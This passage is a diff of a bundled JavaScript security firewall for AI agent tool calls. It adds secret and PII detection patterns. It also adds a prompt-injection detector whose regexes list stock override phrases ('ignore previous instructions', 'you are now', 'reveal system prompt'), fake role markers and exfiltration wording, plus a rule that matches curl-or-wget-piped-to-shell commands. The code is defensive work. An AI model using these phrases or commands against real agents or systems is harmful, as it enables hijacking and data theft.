+ RO: /^[A-Z]{4}[A-Z0-9]{16}$/,
12205
+ SE: /^\d{20}$/
12206
+ };
12207
+ B58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
12208
+ B58_INDEX = Object.fromEntries(
12209
+ [...B58].map((c, i) => [c, i])
12210
+ );
12211
+ XPRV_VERSIONS = /* @__PURE__ */ new Set([76066276, 77428856, 78791436]);
12212
+ B62 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
12213
+ CRC32_TABLE = null;
12214
+ GITHUB_TOKEN_RE = /^gh[pousr]_([A-Za-z0-9]{30})([A-Za-z0-9]{6})$/;
12215
+ B64URL = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
12216
+ B64URL_INDEX = Object.fromEntries(
12217
+ [...B64URL].map((c, i) => [c, i])
12218
+ );
12219
+ CASK_TWO_ZERO_SUFFIX = /* @__PURE__ */ new Set([..."AEIMQUYcgkosw048"]);
12220
+ CASK_FOUR_ZERO_SUFFIX = /* @__PURE__ */ new Set([..."AQgw"]);
12221
+ CF_ODD = {};
12222
+ CF_EVEN = {};
12223
+ {
12224
+ const alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
12225
+ const odd = [
12226
+ 1,
12227
+ 0,
12228
+ 5,
12229
+ 7,
12230
+ 9,
12231
+ 13,
12232
+ 15,
12233
+ 17,
12234
+ 19,
12235
+ 21,
12236
+ 1,
12237
+ 0,
12238
+ 5,
12239
+ 7,
12240
+ 9,
12241
+ 13,
12242
+ 15,
12243
+ 17,
12244
+ 19,
12245
+ 21,
12246
+ 2,
12247
+ 4,
12248
+ 18,
12249
+ 20,
12250
+ 11,
12251
+ 3,
12252
+ 6,
12253
+ 8,
12254
+ 12,
12255
+ 14,
12256
+ 16,
12257
+ 10,
12258
+ 22,
12259
+ 25,
12260
+ 24,
12261
+ 23
12262
+ ];
12263
+ for (let i = 0; i < alphabet.length; i++) {
12264
+ const c = alphabet[i];
12265
+ CF_ODD[c] = odd[i];
12266
+ CF_EVEN[c] = i < 10 ? i : i - 10;
12267
+ }
12268
+ }
12269
+ SPANISH_LETTERS = "TRWAGMYFPDXBNJZSQVHLCKE";
12270
+ HETU_CHARS = "0123456789ABCDEFHJKLMNPRSTUVWXY";
12271
+ MAX = 1e5;
12272
+ UNTRUSTED_TOOLS = /\b(web_?fetch|web_?search|fetch|curl|wget|browser|http_get|read_url|open_url)\b/i;
12273
+ SIGNALS = [
12274
+ {
12275
+ name: "override-instructions",
12276
+ any: [
12277
+ // "ignore/disregard/forget ... (previous|all|the|your) ... instructions/prompt/rules/commands/tasks"
12278
+ /\b(ignore|disregard|forget|discard)\b[^.!?\n]{0,40}\b(previous|prior|earlier|above|all|the|your)\b[^.!?\n]{0,24}\b(instruction|instructions|prompt|context|rules?|directives?|commands?|tasks?|guidelines?)\b/i,
12279
+ /\byou are now\b/i,
12280
+ /\bnew (instructions?|directives?)\s*:/i,
12281
+ /\bnew directive\b/i,
12282
+ /\boverride\s*:/i,
12283
+ /\bsystem note\s*:/i,
12284
+ /\bdeveloper mode\b/i,
12285
+ /\bignore (the )?system prompt\b/i,
12286
+ /\b(reveal|print|show|output|repeat|display|dump)\b[^.!?\n]{0,30}\b(system prompt|hidden instructions|initial instructions|your instructions)\b/i,
12287
+ /\b(do not|don'?t|never)\b[^.!?\n]{0,20}\btell the (user|human)\b/i,
12288
+ /\boverride (your|the)\b[^.!?\n]{0,20}\b(instruction|instructions|programming|rules?|guardrails?)\b/i
12289
+ ]
12290
+ },
12291
+ {
12292
+ name: "fake-role-marker",
12293
+ any: [
12294
+ /^\s*(system|assistant)\s*:/im,
12295
+ // a line impersonating a conversation turn
12296
+ /<\/?system>/i,
12297
+ /\[\s*system\s*\]/i,
12298
+ /\[\/?INST\]/i,
12299
+ /<\|im_(start|end)\|>/i
12300
+ ]
12301
+ },
12302
+ {
12303
+ name: "action-to-destination",
12304
+ any: [
12305
+ // exfil verb + to/at/with/into + a url / email / domain. "email" after a
12306
+ // possessive ("your email", "my email") is the noun, not the verb (X4).
12307
+ // "log in to", "report issues at", "share feedback with" and "submit
12308
+ // your form at" are how ordinary pages talk, so log, report, share and
12309
+ // submit count only in the past tense ("logged to", "shared with").
12310
+ // A dot inside a word (a host, a file name) does not end the window; a
12311
+ // dot that ends a sentence does.
12312
+ /\b(send|sent|post(?:ed)?|upload(?:ed)?|exfiltrate[sd]?|forward(?:ed|s)?|transmit(?:ted|s)?|shared|submitted|logged|reported|curl|wget|leak(?:ed|s)?|(?<!\b(?:your|my|the|an|a|this|that|our|their|his|her)\s+)email(?:ed|s)?)\b(?:[^.\n!?]|\.(?=\S)){0,40}\b(to|at|with|into)\b(?:[^.\n!?]|\.(?=\S)){0,24}(https?:\/\/|[\w.-]+@[\w.-]+\.[a-z]{2,}|[\w-]+\.[a-z]{2,})/i,
12313
+ /\brun (the )?following (command|code|script)\b/i,
12314
+ /\bexecute (this|the following)\b/i,
12315
+ /\bdecode\b[^.!?\n]{0,40}\b(and|then)\b[^.!?\n]{0,12}\b(execute|run|eval)\b/i,
12316
+ /\bcall\b[^.!?\n]{0,30}\b(tool|function|endpoint)\b[^.!?\n]{0,30}\b(url|link|address)\b/i
12317
+ ]
12318
+ }
12319
+ ];
12320
+ MENTION_QUOTE_RE = /["'`“‘(]\s*$/;
12321
+ MENTION_WORD_RE = /\b(?:say|says|saying|said|such as|like|pattern|patterns|phrase|phrases|string|strings|text|e\.g\.|example|examples|contains?|containing|detects?|filters?|flags?|blocks?|matches|keywords?|wording|marker|markers)\b/i;
11259
12322
  ASSIGNMENT_CONTEXT_RE = /\b(?:password|passwd|secret|token|api[_-]?key|auth(?:_key|_token)?|credential|private[_-]?key|access[_-]?key|client[_-]?secret)\s*[=:]\s*/i;
11260
12323
  DLP_STOPWORDS = [
11261
12324
  "example",
@@ -11289,18 +12352,42 @@ zoo`.split("\n");
11289
12352
  DOTTED_REFERENCE_RE = /^[A-Za-z_$][\w$]*(?:\.[A-Za-z_$][\w$]*)+$/;
11290
12353
  CONCATENATION_RE = /^\+[A-Za-z_$][\w$]*\./;
11291
12354
  EMAIL_VALUE_RE = /^[^@\s]+@[^@\s]+\.[A-Za-z]{2,}$/;
11292
- FIXTURE_NAME_RE = /(?:fake|dummy|example|sample|mock|stub|placeholder|test)/i;
12355
+ FIXTURE_NAME_RE = /(?:fake|dummy|example|sample|mock|stub|placeholder|test)|^public/i;
11293
12356
  DERIVATIVE_NAME_RE = /(?:hash|digest|fingerprint|thumbprint|checksum|id|type|name|url|uri|path|file|len|length|count|size|ttl|expires?|expiry|age|date|time|format|field|header|param)$/i;
11294
12357
  QUERY_CREDENTIAL_VALUE_RE = /=([A-Za-z0-9%+/_.~-]{8,512}={0,2})$/;
11295
12358
  OTP_SECRET_RE = /^[A-Z2-7]{16,}=*$/i;
11296
12359
  OTP_DOC_SECRETS = /* @__PURE__ */ new Set(["JBSWY3DPEHPK3PXP", "GEZDGNBVGY3TQOJQ"]);
11297
- ASSIGNED_SECRET_VALUE_RE = /(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?([A-Za-z0-9+/_.!@#$%^*~-]{12,512}={0,2})$/;
12360
+ ASSIGNED_SECRET_VALUE_RE = /(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?((?:[A-Za-z0-9+/_.!@#$%^*~|-]|\\\/){12,512}={0,2})$/;
11298
12361
  ASSIGNED_SECRET_NAME_RE = /^([A-Za-z0-9_]+)/;
11299
- NAME_KEYWORD_RE = /^(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|jsapi[_-]?ticket|pass)/i;
12362
+ NAME_KEYWORD_RE = /^(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|aes[_-]?key|cipher[_-]?key|subscription[_-]?key|jsapi[_-]?ticket|pass)/i;
11300
12363
  ARN_CONTEXT_RE = /\barn:[A-Za-z0-9-]*:[^\s"'`]*$/i;
12364
+ CIPHER_KEY_NAME_RE = /^([A-Za-z_][\w.]{0,40})/;
12365
+ CIPHER_NAME_PARTS = /* @__PURE__ */ new Set([
12366
+ "cipher",
12367
+ "aes",
12368
+ "enc",
12369
+ "encrypt",
12370
+ "encryption",
12371
+ "crypt",
12372
+ "crypto",
12373
+ "secret",
12374
+ "remember",
12375
+ "rememberme",
12376
+ "shiro",
12377
+ "signing",
12378
+ "hmac",
12379
+ "master",
12380
+ "private",
12381
+ "des"
12382
+ ]);
12383
+ CIPHER_KEY_VALUE_RE = /([A-Za-z0-9+/]{22}==)$/;
12384
+ LARAVEL_KEY_VALUE_RE = /base64:([A-Za-z0-9+/]{43}=)$/;
12385
+ SQL_PASSWORD_VALUE_RE = /['"]([^'"\s]{8,128})['"]$/;
12386
+ GRAFANA_KEY_VALUE_RE = /(eyJrIjoi[A-Za-z0-9+/]{20,}={0,2})$/;
11301
12387
  BASIC_VALUE_RE = /([A-Za-z0-9+/]{8,512}={0,2})$/;
11302
12388
  BASIC_PAIR_RE = /^([^:\s]{1,128}):(\S{8,256})$/;
11303
12389
  OTP_CAPTURE_RE = /["']([A-Z2-7]{16,128}=*)["']$/i;
12390
+ DB_URL_PASSWORD_RE = /:\/\/[^:/\s@]*:([^@\s]{4,})@/;
11304
12391
  DLP_PATTERNS = [
11305
12392
  // ── AWS ───────────────────────────────────────────────────────────────────
11306
12393
  {
@@ -11498,7 +12585,8 @@ zoo`.split("\n");
11498
12585
  // ── Private keys (PEM) ────────────────────────────────────────────────────
11499
12586
  {
11500
12587
  name: "Private Key (PEM)",
11501
- regex: /-----BEGIN (?:RSA |EC |OPENSSH )?PRIVATE KEY-----/,
12588
+ // DSA and ENCRYPTED headers, and a PGP private key block (node9Firewall#385).
12589
+ regex: /-----BEGIN (?:RSA |EC |OPENSSH |DSA |ENCRYPTED |PGP )?PRIVATE KEY(?: BLOCK)?-----/,
11502
12590
  severity: "block",
11503
12591
  keywords: ["-----begin"]
11504
12592
  },
@@ -11779,7 +12867,7 @@ zoo`.split("\n");
11779
12867
  "clickhouse",
11780
12868
  "cassandra"
11781
12869
  ],
11782
- minEntropy: 3
12870
+ validate: validateDbConnectionString
11783
12871
  },
11784
12872
  // ── Credential in a URL query value ───────────────────────────────────────
11785
12873
  // A query parameter whose key names a secret (`?secret=`, `&apiKey=`,
@@ -11808,6 +12896,63 @@ zoo`.split("\n");
11808
12896
  redactGroup: 1,
11809
12897
  argumentsOnly: true
11810
12898
  },
12899
+ // ── Shapes from the CredData review (fw#372 B4, node9Firewall#385) ────────
12900
+ // All review and argumentsOnly, like Assigned Secret: the live gate asks,
12901
+ // the raw scanners stay as they were.
12902
+ {
12903
+ name: "Cipher Key Literal",
12904
+ regex: /\b([A-Za-z_][\w.]{0,40}key)[ \t]{0,8}(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?([A-Za-z0-9+/]{22}==)/i,
12905
+ severity: "review",
12906
+ keywords: ["key"],
12907
+ validate: validateCipherKeyLiteral,
12908
+ redactGroup: 2,
12909
+ argumentsOnly: true
12910
+ },
12911
+ {
12912
+ name: "Laravel App Key",
12913
+ regex: /\bAPP_KEY[ \t]{0,8}=[ \t]{0,8}["']?(base64:[A-Za-z0-9+/]{43}=)/,
12914
+ severity: "review",
12915
+ keywords: ["app_key"],
12916
+ validate: validateLaravelAppKey,
12917
+ redactGroup: 1,
12918
+ argumentsOnly: true
12919
+ },
12920
+ {
12921
+ // `key-` plus 32 hex characters, Mailgun's legacy private key shape.
12922
+ name: "Mailgun API Key",
12923
+ regex: /\bkey-[0-9a-f]{32}\b/,
12924
+ severity: "review",
12925
+ keywords: ["key-"],
12926
+ argumentsOnly: true
12927
+ },
12928
+ {
12929
+ // A kubeadm bootstrap token, named as one by its flag or key.
12930
+ name: "Kubeadm Bootstrap Token",
12931
+ regex: /(?:--token[= ]|\btoken:[ \t]{0,8}|--discovery-token[= ])([a-z0-9]{6}\.[a-z0-9]{16})\b/,
12932
+ severity: "review",
12933
+ keywords: ["token"],
12934
+ redactGroup: 1,
12935
+ argumentsOnly: true
12936
+ },
12937
+ {
12938
+ // `CREATE USER ... IDENTIFIED BY 'x'` (MySQL, Oracle), `WITH PASSWORD 'x'` (Postgres).
12939
+ name: "SQL Account Password",
12940
+ regex: /\b(?:IDENTIFIED\s+BY|WITH\s+PASSWORD)\s*['"]([^'"\s]{8,128})['"]/i,
12941
+ severity: "review",
12942
+ keywords: ["identified by", "with password"],
12943
+ validate: validateSqlPassword,
12944
+ redactGroup: 1,
12945
+ argumentsOnly: true
12946
+ },
12947
+ {
12948
+ // The provisioned (legacy) Grafana API key: base64 of a JSON object with k, n and id.
12949
+ name: "Grafana API Key",
12950
+ regex: /\b(eyJrIjoi[A-Za-z0-9+/]{20,}={0,2})/,
12951
+ severity: "block",
12952
+ keywords: ["eyjrijoi"],
12953
+ validate: validateGrafanaApiKey,
12954
+ redactGroup: 1
12955
+ },
11811
12956
  // ── Secret assigned to a telling name ─────────────────────────────────────
11812
12957
  // `password: ...`, `JWT_SECRET=...`, `api_key = "..."`. The name alone is
11813
12958
  // not a finding: most such lines hold a reference (`process.env.X`), a
@@ -11820,7 +12965,10 @@ zoo`.split("\n");
11820
12965
  // name are written out, not as a counted group, to keep star height 1.
11821
12966
  {
11822
12967
  name: "Assigned Secret",
11823
- regex: /(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|jsapi[_-]?ticket|\bpass(?![A-Za-z0-9])|_pass(?![A-Za-z0-9]))[A-Za-z0-9_]{0,40}\\?["'\]]?\\?["'\]]?[ \t]{0,8}(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?([A-Za-z0-9+/_.!@#$%^*~-]{12,512}={0,2})/i,
12968
+ // fw#372 B4: `aes_key`, `cipher_key`, `subscription_key` join the names; a
12969
+ // backtick may close the name; `|` and `\` may occur in the value
12970
+ // (`\/` is how JSON escapes a slash).
12971
+ regex: /(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|aes[_-]?key|cipher[_-]?key|subscription[_-]?key|jsapi[_-]?ticket|\bpass(?![A-Za-z0-9])|_pass(?![A-Za-z0-9]))[A-Za-z0-9_]{0,40}\\?["'\]`]?\\?["'\]`]?[ \t]{0,8}(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?((?:[A-Za-z0-9+/_.!@#$%^*~|-]|\\\/){12,512}={0,2})/i,
11824
12972
  severity: "review",
11825
12973
  keywords: ["pass", "pwd", "secret", "token", "key", "ticket"],
11826
12974
  validate: validateAssignedSecret,
@@ -12515,21 +13663,13 @@ zoo`.split("\n");
12515
13663
  ["preview_start", ["url"]],
12516
13664
  ["browser_batch", ["actions[].input.url"]]
12517
13665
  ]);
12518
- SECRET_VIEW_LIMITS = {
12519
- /** A decoded text that itself decodes is followed this many layers; a deeper layer is reviewed. */
12520
- maxDepth: 4,
12521
- /** Nested views per parent view, and nested text per call; past either the call is reviewed. */
12522
- maxNestedViewsPerLeaf: 64,
12523
- maxNestedBytes: 1048576,
12524
- /** Joined hostname-label text per call; past it the call is reviewed. */
12525
- maxJoinedLabelBytes: 1048576,
12526
- /** Decoded fragments are matched in batches of about this many characters. */
12527
- batchCharacters: 65536,
12528
- /** Only a valid DNS name has its labels joined. */
12529
- maxHostLength: 253,
12530
- maxLabelLength: 63,
12531
- maxLabels: 127
12532
- };
13666
+ MCP_DESTINATION_KEYS = [
13667
+ "destination",
13668
+ "endpoint",
13669
+ "webhook",
13670
+ "webhook_url",
13671
+ "callback_url"
13672
+ ];
12533
13673
  ARGUMENT_SCAN_LIMITS = {
12534
13674
  maxDepth: 12,
12535
13675
  maxNodes: 16384,
@@ -12590,11 +13730,67 @@ zoo`.split("\n");
12590
13730
  PII_EMAIL_RE = /\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b/;
12591
13731
  PII_SSN_RE = /\b\d{3}-\d{2}-\d{4}\b/;
12592
13732
  PII_PHONE_RE = /\b(?:\+?1[-.\s]?)?\(?\d{3}\)?[-.\s]\d{3}[-.\s]\d{4}\b/;
12593
- PII_CC16_RE = /\b(?:4\d{3}|5[1-5]\d{2}|6\d{3})[-\s]?\d{4}[-\s]?\d{4}[-\s]?\d{4}\b/;
12594
- PII_CC15_RE = /\b3[47]\d{2}[-\s]?\d{6}[-\s]?\d{5}\b/;
13733
+ PII_CC16_RE = /\b(?:4\d{3}|5[1-5]\d{2}|2(?:22[1-9]|2[3-9]\d|[3-6]\d\d|7[01]\d|720)|6\d{3}|35(?:2[89]|[3-8]\d)|220[0-4])[-\s.]?\d{4}[-\s.]?\d{4}[-\s.]?\d{4}\b/;
13734
+ PII_CC15_RE = /\b3[47]\d{2}[-\s.]?\d{6}[-\s.]?\d{5}\b/;
13735
+ PII_CC14_RE = /\b3(?:0[0-5]\d|[68]\d\d)[-\s.]?\d{6}[-\s.]?\d{4}\b/;
13736
+ PII_CC13_RE = /\b4\d{3}[-\s.]?\d{3}[-\s.]?\d{3}[-\s.]?\d{3}\b/;
13737
+ PII_CC19_RE = /\b4\d{3}[-\s.]?\d{4}[-\s.]?\d{4}[-\s.]?\d{4}[-\s.]?\d{3}\b/;
13738
+ CARD_PATTERNS = [PII_CC16_RE, PII_CC15_RE, PII_CC14_RE, PII_CC13_RE, PII_CC19_RE];
13739
+ PII_ROUTING_RE = /\b\d{9}\b/;
13740
+ ROUTING_LABEL_RE = /\b(?:routing|aba|rtn)\b/i;
13741
+ ROUTING_LABEL_WINDOW = 24;
13742
+ NATIONAL_ID_SHAPES = [
13743
+ { regex: /\b[A-Z]{6}\d{2}[A-EHLMPRST]\d{2}[A-Z]\d{3}[A-Z]\b/, validate: validateCodiceFiscale },
13744
+ { regex: /\b(?:\d{8}|[XYZ]\d{7})[A-Z]\b/, validate: validateSpanishId },
13745
+ { regex: /\b756\.\d{4}\.\d{4}\.\d{2}\b/, validate: validateSwissAhv },
13746
+ { regex: /\bCHE-\d{3}\.\d{3}\.\d{3}\b/i, validate: validateSwissUid },
13747
+ {
13748
+ regex: /\b[12] ?\d{2} ?(?:0[1-9]|1[0-2]|[2-9]\d) ?(?:\d{2}|2[AB]) ?\d{3} ?\d{3} ?\d{2}\b/,
13749
+ validate: validateNir
13750
+ },
13751
+ // PESEL and CNP are bare 11- and 13-digit runs: a millisecond timestamp
13752
+ // passes the CNP rules about 1 time in 400 and a random 11-digit id passes
13753
+ // PESEL about 1 in 50 (measured), so both need their name nearby.
13754
+ { regex: /\b\d{11}\b/, validate: validatePesel, labelled: true },
13755
+ { regex: /\b[1-9]\d{12}\b/, validate: validateCnp, labelled: true },
13756
+ { regex: /\b\d{6}[-+]\d{4}\b/, validate: validateSwedishPersonnummer, labelled: true },
13757
+ { regex: /\b\d{11}\b/, validate: validateNorwegianFnr, labelled: true },
13758
+ { regex: /\b\d{6}[-+A-FU-Y]\d{3}[0-9A-Y]\b/, validate: validateFinnishHetu, labelled: true }
13759
+ ];
13760
+ NATIONAL_ID_LABEL_RE = /\b(?:personnummer|personal identity number|f[øo]dselsnummer|hetu|henkil[öo]tunnus|pesel|cnp|cod numeric personal|codul numeric personal|national id(?:entification)?(?: number)?)\b/i;
13761
+ NATIONAL_ID_LABEL_WINDOW = 32;
13762
+ NATIONAL_ID_GUARD_RE = /\d{3}|[A-Z]{6}\d{2}/;
12595
13763
  PII_IBAN_RE = /\b[A-Z]{2}\d{2}(?:[A-Z0-9]|[ -][A-Z0-9]){11,30}\b/;
12596
- REALTIME_PII_PATTERNS = ["SSN", "Credit Card", "IBAN"];
13764
+ REALTIME_PII_PATTERNS = [
13765
+ "SSN",
13766
+ "Credit Card",
13767
+ "IBAN",
13768
+ "Bank Routing Number",
13769
+ "National ID"
13770
+ ];
12597
13771
  MAX_PII_SCAN_BYTES = 1e5;
13772
+ IBAN_DESTINATION_KEYS = /* @__PURE__ */ new Set([
13773
+ "to",
13774
+ "recipient",
13775
+ "recipients",
13776
+ "payee",
13777
+ "beneficiary",
13778
+ "destination",
13779
+ "iban",
13780
+ "account",
13781
+ "account_number",
13782
+ "accountnumber"
13783
+ ]);
13784
+ WHOLE_IBAN_RE = /^[A-Z]{2}\d{2}[A-Z0-9 -]{11,34}$/;
13785
+ JSON_ESCAPE_RE = /\\(?:[ntr"\\/]|u[0-9a-fA-F]{4})/g;
13786
+ JSON_ESCAPES = {
13787
+ n: "\n",
13788
+ t: " ",
13789
+ r: "\r",
13790
+ '"': '"',
13791
+ "\\": "\\",
13792
+ "/": "/"
13793
+ };
12598
13794
  MASKED_KINDS = /* @__PURE__ */ new Set(["email", "iban", "account"]);
12599
13795
  ENTRY_RE = /^(email|iban|account):([^#\s]{1,200}(?: [^#\s]{1,40}){0,4})#sha256:([0-9a-f]{64})$/;
12600
13796
  IBAN_TEXT_RE = /\b[A-Z]{2}\d{2}(?:[ -]?[A-Z0-9]{4}){2,7}(?:[ -]?[A-Z0-9]{1,4})?\b/gi;
@@ -13158,8 +14354,8 @@ var ConfigFileSchema = z.object({
13158
14354
  }).strict();
13159
14355
  function formatIssues(issues) {
13160
14356
  const lines = issues.map((issue) => {
13161
- const path26 = issue.path.length > 0 ? issue.path.map(String).join(".") : "root";
13162
- return ` \u2022 ${path26}: ${issue.message}`;
14357
+ const path27 = issue.path.length > 0 ? issue.path.map(String).join(".") : "root";
14358
+ return ` \u2022 ${path27}: ${issue.message}`;
13163
14359
  });
13164
14360
  return `Invalid config:
13165
14361
  ${lines.join("\n")}`;
@@ -13172,9 +14368,9 @@ function prunePaths(root, paths) {
13172
14368
  const yi = y[y.length - 1];
13173
14369
  return typeof xi === "number" && typeof yi === "number" ? yi - xi : 0;
13174
14370
  });
13175
- for (const path26 of ordered) {
14371
+ for (const path27 of ordered) {
13176
14372
  let cur = root;
13177
- for (const key of path26.slice(0, -1)) {
14373
+ for (const key of path27.slice(0, -1)) {
13178
14374
  if (cur === null || typeof cur !== "object") {
13179
14375
  cur = void 0;
13180
14376
  break;
@@ -13182,7 +14378,7 @@ function prunePaths(root, paths) {
13182
14378
  cur = cur[key];
13183
14379
  }
13184
14380
  if (cur === null || typeof cur !== "object") continue;
13185
- const last = path26[path26.length - 1];
14381
+ const last = path27[path27.length - 1];
13186
14382
  if (Array.isArray(cur)) {
13187
14383
  const i = Number(last);
13188
14384
  if (Number.isInteger(i) && i >= 0 && i < cur.length) {
@@ -13218,7 +14414,7 @@ function sanitizeConfig(raw) {
13218
14414
  return issue.keys.map((k) => [...at, k]);
13219
14415
  }
13220
14416
  return [at.slice(0, -level || void 0)];
13221
- }).filter((path26) => path26.length > 0);
14417
+ }).filter((path27) => path27.length > 0);
13222
14418
  if (paths.length === 0 || !prunePaths(working, paths)) break;
13223
14419
  }
13224
14420
  if (ConfigFileSchema.safeParse(working).success) break;
@@ -13953,8 +15149,10 @@ var DEFAULT_CONFIG = {
13953
15149
  // Downloader and sink groups mirror the engine's DOWNLOAD_CMDS and
13954
15150
  // SHELL_INTERPRETERS; pipe-to-shell-vocabulary-drift.spec.ts fails if
13955
15151
  // either list gains a name this regex does not. The PowerShell sinks
13956
- // carry \b so `iex` cannot match inside e.g. `iexplore`.
13957
- value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)[^|]*\\|\\s*(?:(ba|z|da|fi|c|k)?sh|(?:iex|invoke-expression|powershell|pwsh)\\b)",
15152
+ // carry \b so `iex` cannot match inside e.g. `iexplore`, and so does
15153
+ // `sh`, so a quoted body containing `| Shipment` is not a shell
15154
+ // (fw#372 X3, node9Firewall#332).
15155
+ value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)[^|]*\\|\\s*(?:(ba|z|da|fi|c|k)?sh\\b|(?:iex|invoke-expression|powershell|pwsh)\\b)",
13958
15156
  flags: "i"
13959
15157
  }
13960
15158
  ],
@@ -14617,13 +15815,13 @@ function getConfig(cwd) {
14617
15815
  }
14618
15816
  if (Array.isArray(mc.jailPaths)) {
14619
15817
  for (const jp of mc.jailPaths) {
14620
- const path26 = typeof jp?.path === "string" ? jp.path.trim() : "";
14621
- if (!path26) continue;
15818
+ const path27 = typeof jp?.path === "string" ? jp.path.trim() : "";
15819
+ if (!path27) continue;
14622
15820
  const verdict = jp?.verdict === "review" ? "review" : "block";
14623
- for (const r of pathRules(path26, verdict, "org-managed jail")) {
15821
+ for (const r of pathRules(path27, verdict, "org-managed jail")) {
14624
15822
  mergedPolicy.smartRules.push({ ...r, name: `org:${r.name}` });
14625
15823
  }
14626
- mergedPolicy.managedJailPaths.push({ path: path26, verdict });
15824
+ mergedPolicy.managedJailPaths.push({ path: path27, verdict });
14627
15825
  }
14628
15826
  }
14629
15827
  if (Array.isArray(mc.trustedHosts)) {
@@ -14933,8 +16131,8 @@ function scanFilePath(filePath, cwd = process.cwd(), options = {}) {
14933
16131
  if (!filePath) return null;
14934
16132
  let resolved;
14935
16133
  try {
14936
- const absolute = path5.resolve(cwd, filePath);
14937
- resolved = fs5.realpathSync.native(absolute);
16134
+ const absolute2 = path5.resolve(cwd, filePath);
16135
+ resolved = fs5.realpathSync.native(absolute2);
14938
16136
  } catch (err) {
14939
16137
  const code = err.code;
14940
16138
  if (code === "ENOENT" || code === "ENOTDIR") {
@@ -15744,6 +16942,38 @@ async function checkTaint(paths) {
15744
16942
  return { tainted: false, daemonUnavailable: true };
15745
16943
  }
15746
16944
  }
16945
+ async function notifyWritten(paths) {
16946
+ if (paths.length === 0 || !isDaemonRunning()) return;
16947
+ const base2 = `http://${DAEMON_HOST}:${DAEMON_PORT}`;
16948
+ try {
16949
+ await fetch(`${base2}/written`, {
16950
+ method: "POST",
16951
+ headers: exposureHeaders(),
16952
+ body: JSON.stringify({ paths: paths.slice(0, 64) }),
16953
+ signal: AbortSignal.timeout(1e3)
16954
+ });
16955
+ } catch {
16956
+ }
16957
+ }
16958
+ async function checkWritten(paths) {
16959
+ if (paths.length === 0) return { written: [] };
16960
+ if (!isDaemonRunning()) return { written: [], daemonUnavailable: true };
16961
+ const base2 = `http://${DAEMON_HOST}:${DAEMON_PORT}`;
16962
+ try {
16963
+ const res = await fetch(`${base2}/written/check`, {
16964
+ method: "POST",
16965
+ headers: exposureHeaders(),
16966
+ body: JSON.stringify({ paths: paths.slice(0, 64) }),
16967
+ signal: AbortSignal.timeout(2e3)
16968
+ });
16969
+ const body = await res.json();
16970
+ return {
16971
+ written: Array.isArray(body.written) ? body.written.filter((p) => typeof p === "string") : []
16972
+ };
16973
+ } catch {
16974
+ return { written: [], daemonUnavailable: true };
16975
+ }
16976
+ }
15747
16977
  async function checkSessionTaint(sessionId) {
15748
16978
  if (!sessionId || !isDaemonRunning()) return { tainted: false };
15749
16979
  const base2 = `http://${DAEMON_HOST}:${DAEMON_PORT}`;
@@ -15811,7 +17041,7 @@ async function resolveViaDaemon(id, decision, internalToken, source, record) {
15811
17041
 
15812
17042
  // src/auth/orchestrator.ts
15813
17043
  import { randomUUID as randomUUID2 } from "crypto";
15814
- import os18 from "os";
17044
+ import os19 from "os";
15815
17045
 
15816
17046
  // src/ui/native.ts
15817
17047
  import { spawn } from "child_process";
@@ -16236,6 +17466,98 @@ function canaryValues() {
16236
17466
  return loadCanaries().map((r) => ({ id: r.id, value: r.value, retired: Boolean(r.retiredAt) }));
16237
17467
  }
16238
17468
 
17469
+ // src/auth/orchestrator.ts
17470
+ init_dist();
17471
+
17472
+ // src/auth/session-script.ts
17473
+ init_dist();
17474
+ import fs13 from "fs";
17475
+ import os11 from "os";
17476
+ import path15 from "path";
17477
+ var MAX_SCRIPT_BYTES = 64 * 1024;
17478
+ var MAX_RECORDED_WRITES = 32;
17479
+ function readScriptFile(resolved) {
17480
+ let fd;
17481
+ try {
17482
+ fd = fs13.openSync(resolved, fs13.constants.O_RDONLY | (fs13.constants.O_NONBLOCK ?? 0));
17483
+ const st = fs13.fstatSync(fd);
17484
+ if (!st.isFile() || st.size > MAX_SCRIPT_BYTES) return null;
17485
+ const buf = Buffer.alloc(MAX_SCRIPT_BYTES + 1);
17486
+ let n = 0;
17487
+ while (n < buf.length) {
17488
+ const got = fs13.readSync(fd, buf, n, buf.length - n, n);
17489
+ if (got === 0) break;
17490
+ n += got;
17491
+ }
17492
+ if (n > MAX_SCRIPT_BYTES) return null;
17493
+ return buf.subarray(0, n).toString("utf8");
17494
+ } catch {
17495
+ return null;
17496
+ } finally {
17497
+ if (fd !== void 0) {
17498
+ try {
17499
+ fs13.closeSync(fd);
17500
+ } catch {
17501
+ }
17502
+ }
17503
+ }
17504
+ }
17505
+ function absolute(p, cwd, home) {
17506
+ const spelled = p === "~" || p.startsWith("~/") ? home + p.slice(1) : p;
17507
+ return path15.resolve(cwd, spelled);
17508
+ }
17509
+ async function resolveSessionScript(toolName, args, cwd, layers, deps, home = os11.homedir()) {
17510
+ try {
17511
+ const d = deps ?? { checkWritten, readScript: readScriptFile };
17512
+ const shell = resolveShellInput(toolName, args, layers);
17513
+ if (shell.kind !== "shell") return null;
17514
